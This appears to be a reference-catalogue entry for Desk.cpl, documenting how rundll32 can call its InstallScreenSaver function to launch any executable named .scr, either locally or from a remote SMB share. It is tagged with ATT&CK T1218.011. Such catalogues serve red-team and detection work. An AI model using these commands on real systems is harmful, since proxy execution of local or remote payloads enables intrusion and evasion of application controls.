.. /Desk.cpl
Star

Execute (EXE, Remote)

Desktop Settings Control Panel

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Launch an executable with a .scr extension by calling the InstallScreenSaver function.

    rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
    Use case
    Launch any executable payload, as long as it uses the .scr extension.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: EXE

  2. Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

    rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
    Use case
    Launch any executable payload, as long as it uses the .scr extension.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
    Tags
    Execute: EXE
    Execute: Remote